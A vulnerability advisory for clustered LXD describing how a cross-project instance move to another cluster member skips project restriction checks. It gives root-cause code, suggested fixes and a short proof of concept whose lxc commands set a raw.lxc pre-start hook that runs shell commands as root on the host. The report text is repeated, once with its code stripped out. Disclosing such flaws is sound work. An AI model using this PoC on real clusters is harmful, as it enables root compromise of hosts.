Summary
When an instance is moved cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: <target>, and target: <member>, the destination node skips all project restriction checks because the request arrives as a cluster notification.
Root Cause
instancePostClusteringMigrate at lxd/instance_post.go:812 connects to the destination member with the cluster notification flag set to true:
dest, err := cluster.Connect(ctx, newMember.Address, networkCert, s.ServerCert(), true)
On the destination member, instances_post.go:1270 identifies the request as a cluster notification:
clusterNotification := requestor.IsClusterNotification()
At line 1647, the restriction check is explicitly gated:
if !clusterNotification {
restrictions, err := limits.FetchProject(ctx, tx, targetProjectName, true)
// ...
err = limits.AllowInstanceCreation(s.GlobalConfig, *restrictions, req)
}
When clusterNotification == true, no project restriction validation occurs — the instance is created with the full source config including dangerous keys like raw.lxc, raw.qemu, security.privileged, etc.
Impact
An attacker with project-level access (can create instances in an unrestricted project and has can_create_instances permission on a restricted target project) can:
- Create an instance with
raw.lxc hooks (e.g., lxc.hook.pre-start = /bin/sh -c 'command') in an unrestricted project
- Move the instance cross-project to a restricted project on a different cluster member
- Start the instance in the restricted project — no start-time restriction re-validation occurs
- Execute arbitrary commands as root on the host
This bypasses all project restrictions: restricted.containers.lowlevel, restricted.containers.privilege, device restrictions, etc.
PoC
# In unrestricted project, create malicious instance
lxc init images:ubuntu/22.04 evil --project unrestricted
lxc config set evil raw.lxc 'lxc.hook.pre-start = /bin/sh -c "id > /tmp/pwned"' --project unrestricted
# Move cross-project to restricted project on different member
lxc move evil evil --project unrestricted --target-project restricted --target member2
# Start in restricted project — restriction check was skipped
lxc start evil --project restricted
# Host executes: /bin/sh -c "id > /tmp/pwned"
Affected Version
All clustered LXD deployments with multi-project configurations through lxd-6.9 (latest release).
Distinction from Related Issues
This is a different mechanism from the same-member move restriction bypass (which occurs because instancePostMigration calls instanceCreateAsCopy directly). This vulnerability is specifically about the cluster notification flag causing the destination to skip checks.
Suggested Fix
In instancePostClusteringMigrate, either:
- Don't use cluster notification flag for cross-project moves, OR
- Add explicit
limits.AllowInstanceCreation check before the migration, OR
- On the destination, validate restrictions even for cluster notifications when the target project differs from the source project
Reported by zx (Jace)
Summary
When an instance is moved cross-project to a different cluster member via
POST /1.0/instances/{name}withmigration: true,project: <target>, andtarget: <member>, the destination node skips all project restriction checks because the request arrives as a cluster notification.Root Cause
instancePostClusteringMigrateatlxd/instance_post.go:812connects to the destination member with the cluster notification flag set totrue:On the destination member,
instances_post.go:1270identifies the request as a cluster notification:At line 1647, the restriction check is explicitly gated:
When
clusterNotification == true, no project restriction validation occurs — the instance is created with the full source config including dangerous keys likeraw.lxc,raw.qemu,security.privileged, etc.Impact
An attacker with project-level access (can create instances in an unrestricted project and has
can_create_instancespermission on a restricted target project) can:raw.lxchooks (e.g.,lxc.hook.pre-start = /bin/sh -c 'command') in an unrestricted projectThis bypasses all project restrictions:
restricted.containers.lowlevel,restricted.containers.privilege, device restrictions, etc.PoC
Affected Version
All clustered LXD deployments with multi-project configurations through lxd-6.9 (latest release).
Distinction from Related Issues
This is a different mechanism from the same-member move restriction bypass (which occurs because
instancePostMigrationcallsinstanceCreateAsCopydirectly). This vulnerability is specifically about the cluster notification flag causing the destination to skip checks.Suggested Fix
In
instancePostClusteringMigrate, either:limits.AllowInstanceCreationcheck before the migration, ORReported by zx (Jace)